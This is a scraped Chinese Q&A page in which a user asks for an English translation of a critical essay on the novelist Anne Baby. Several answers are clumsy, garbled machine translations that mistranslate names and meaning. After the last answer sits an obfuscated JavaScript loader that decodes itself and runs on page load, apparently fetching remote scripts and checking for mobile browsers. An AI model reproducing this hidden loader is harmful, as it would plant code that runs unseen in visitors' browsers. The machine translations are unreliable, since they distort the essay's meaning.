请专业英语高手给我翻译一篇文章

2025-02-26 08:01:00
推荐回答(5个)
回答(1):

《安妮宝贝,别盯着你的肚脐眼儿看了》
很多媒体与作者形容安妮宝贝都更趋于形式,华丽,颓废。安妮宝贝成功的将她的文字打造的如颜色炫烂的华服一般灼灼耀眼。并且吸引了大部分重视形式感的读者。
相对于形式上的华丽,内容与主题却千篇一律。很难发现一个作家会将同样的主题同样的人物同样的情节,颠来倒去,不厌其烦的书写了一本又一本的长篇巨作。她所有的长篇的模式雏形都可以在她最早的作品《七月与安生》中一见端倪。
安还是一个极度自恋的女人。“爱好旅游,布衣,素食。。”这些在她小说中形容女主角的描述方式,都可以从作者自身生活经验找到共识。安在自己的文章里用大肆的篇幅描述自己的寂寞,孤独的生活。不知是在寻找共鸣亦或是将这种孤独与寂寞当作一种符号在展览,陈列与炫耀。同样是同一时代的美女作家棉棉说,“我的痛苦不是符号,不能被她们炫耀地挂在自己身上。”
相对于棉棉的不羁,安妮宝贝更多的是空洞与做作。并一心想用这些空洞与虚伪影响一部分人。其初衷是更多的浅薄与无知。
外国的一个文人曾说,有一些作家在作品中不厌其烦喋喋不休的向别人展示自己的生活。就像一个人总是在盯着自己的肚脐眼儿看。这还不算,还不停的拉着别人过来一起看。。。
这种自恋程度无人能及。
对于半路出家不是科班出身的作家,对安妮宝贝的要求也不能过多。写作水平与技巧的不成熟,让作品拙襟见衬。但更值得关注的是作者的写作态度。您的生活值得一写也别大肆渲染了。别盯着自己的肚脐眼看起来就没个够
"Annie Baby, do not stare at your navel children read"

A lot of the media and the author tends to describe the form of Anne, is more precious, gorgeous, decadent. Baby Anne of her success will be built, such as text color-hyun rotten Chinese clothes generally shining bright. And attracting most of the attention to the form of a sense of audience.

    Relative to the gorgeous form, content and subject are stereotyped. Difficult to find a writer the same theme will be the same person the same plot, over and over, patiently writing a book after another long masterpiece. All her long pattern of embryo can be in her earliest work, "in July and she" and a tip of an iceberg.

    Security is still a very narcissistic woman. "Love tourism, commoner, vegetarian.." These novels describe the heroine in her description of methods, can be from the author's own experience of life to find consensus. An article in their description of their length with the big lonely, lonely life. I do not know is also looking for sympathy or to the solitude and loneliness as a symbol in the exhibition, display and show off. Similarly, the same age beauty writer Mian Mian says, "My pain is not a symbol, can not be hung to show off their own selves."

    Relative to Mian Mian's Boogie, Baby Anne, more of a hollow and contrived. And are bent on impact with these empty and the hypocrisy of some of the people. Its original purpose is more shallow and ignorance.

    A foreign scholar said, there are some writers endless trouble in his works to demonstrate to others their own lives. As a people always staring at her navel children to see. It also is not, but also not stop holding others to come along to see. . .

    No one can compare the extent of such narcissism.

    For the mid-life switch is not a curriculum, a writer, to the requirements of Anne baby can not be too much. Writing skills level and immature, so that works clumsy lapel see lining. But more noteworthy is the attitude of the author's writing. Your life is worth writing, they should not hype the. Do not stare at your navel look no your fill

回答(2):

"Annie Baby, do not stare at your navel children read"

A lot of the media and the author tends to describe the form of Anne, is more precious, gorgeous, decadent. Baby Anne of her success will be built, such as text color-hyun rotten Chinese clothes generally shining bright. And attracting most of the attention to the form of a sense of audience.

    Relative to the gorgeous form, content and subject are stereotyped. Difficult to find a writer the same theme will be the same person the same plot, over and over, patiently writing a book after another long masterpiece. All her long pattern of embryo can be in her earliest work, "in July and she" and a tip of an iceberg.

    Security is still a very narcissistic woman. "Love tourism, commoner, vegetarian.." These novels describe the heroine in her description of methods, can be from the author's own experience of life to find consensus. An article in their description of their length with the big lonely, lonely life. I do not know is also looking for sympathy or to the solitude and loneliness as a symbol in the exhibition, display and show off. Similarly, the same age beauty writer Mian Mian says, "My pain is not a symbol, can not be hung to show off their own selves."

    Relative to Mian Mian's Boogie, Baby Anne, more of a hollow and contrived. And are bent on impact with these empty and the hypocrisy of some of the people. Its original purpose is more shallow and ignorance.

    A foreign scholar said, there are some writers endless trouble in his works to demonstrate to others their own lives. As a people always staring at her navel children to see. It also is not, but also not stop holding others to come along to see. . .

    No one can compare the extent of such narcissism.

    For the mid-life switch is not a curriculum, a writer, to the requirements of Anne baby can not be too much. Writing skills level and immature, so that works clumsy lapel see lining. But more noteworthy is the attitude of the author's writing. Your life is worth writing, they should not hype the. Do not stare at your navel look no your fill

回答(3):

"the Anne Treasure, Do not stare at Your Navel To look" many media and the author described that the Anne treasure tends a form, magnificent, dispirited. The Anne treasure successful like the color dazzles hers writing making the rotten Chinese dress general brilliant dazzling. And has attracted the reader who takes the form feeling majority. Is opposite in the magnificence formally, the content and the subject is actually stereotyped. Very difficult to discover a writer the similar subject same character's similar plot, repeatedly, will take great pains written another lengthy has done greatly. As soon as her all lengthy pattern embryonic form may "in July And Peaceful" sees the clue in she earliest work. Peaceful is an extreme narcissistic woman. “hobby traveling, cotton garment, vegetarian diet. .”These in her novel described that leading lady's description way, might find the mutual recognition from the author own experience of life. In where own article describes own loneliness with the length wantonly, lonely life. Did not know that is seeking for the sympathetic chord also perhaps lonely and treats as lonely this kind one kind of mark in the display, exhibits with shows off. Similarly was the identical time beautiful woman writer cotton and kapok cotton and kapok said that “my pain was not a mark, could not show off by them hangs on own body.” Is opposite in cotton and kapok cotton and kapok uninhibited, what the Anne treasure are more is empty and is artificial. And wants to use wholeheartedly these empty and affects part of people falsely. Its original intention is more superficialities and the ignorance. A foreign writer once said that has some writers to take great pains in the work talks endlessly demonstrates own life to others. Looks like a person always to stare at own navel to look. This had not calculated that has not stopped pulls others to come to look together. . . This kind of narcissistic degree nobody can and. Regarding begins a new career late in life is not the professionally-trained worker writer, cannot be excessively many to the Anne treasure's request. The writing level and the skill are not mature, let the work clumsy lapel see the lining. But what is worth paying attention is author's writing manner. As soon as your life was worth writing also leaves exaggerates wantonly. Do not stare at own navel not to have all the way shortly

回答(4):

"the Anne Treasure, Do not stare at Your Navel To look"
Many media and the author described that Anne the treasure tends a form, magnificent, dispirited. The Anne treasure successful like the color dazzles hers writing making the rotten Chinese dress general brilliant dazzling. And has attracted the reader who takes the form feeling majority.
Is opposite in the magnificence formally, the content and the subject is actually stereotyped. Very difficult to discover a writer the similar subject same character's similar plot, repeatedly, will take great pains written another lengthy has done greatly. As soon as her all lengthy pattern embryonic form may "Seven Months And Peaceful" sees the clue in she earliest work.
Peaceful is an extreme narcissistic woman. “hobby traveling, cotton garment, vegetarian diet. .”These in her novel described that leading lady's description way, might find the mutual recognition from the author own experience of life. In where own article describes own loneliness with the length wantonly, lonely life. Did not know that is seeking for the sympathetic chord also perhaps lonely and treats as lonely this kind one kind of mark in the display, exhibits with shows off. Similarly was the identical time beautiful woman writer cotton and kapok cotton and kapok said that “my pain was not a mark, could not show off by them hangs on own body.”
Is opposite in cotton and kapok cotton and kapok uninhibited, what the Anne treasure are more is empty and is artificial. And wants to use wholeheartedly these empty and affects part of people falsely. Its original intention is more superficialities and the ignorance.
A foreign writer once said that has some writers to take great pains in the work talks endlessly demonstrates own life to others. Looks like a person always to stare at own navel to look. This had not calculated that has not stopped pulls others to come to look together. . .
This kind of narcissistic degree nobody can and.
regarding begins a new career late in life is not the professionally-trained worker writer, cannot be excessively many to the Anne treasure's request. The writing level and the skill are not mature, let the work clumsy lapel see the lining. But what is worth paying attention is author's writing manner. As soon as your life was worth writing also leaves exaggerates wantonly. Do not stare at own navel not to have all the way shortly
给分把

回答(5):

LZ很强大!

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();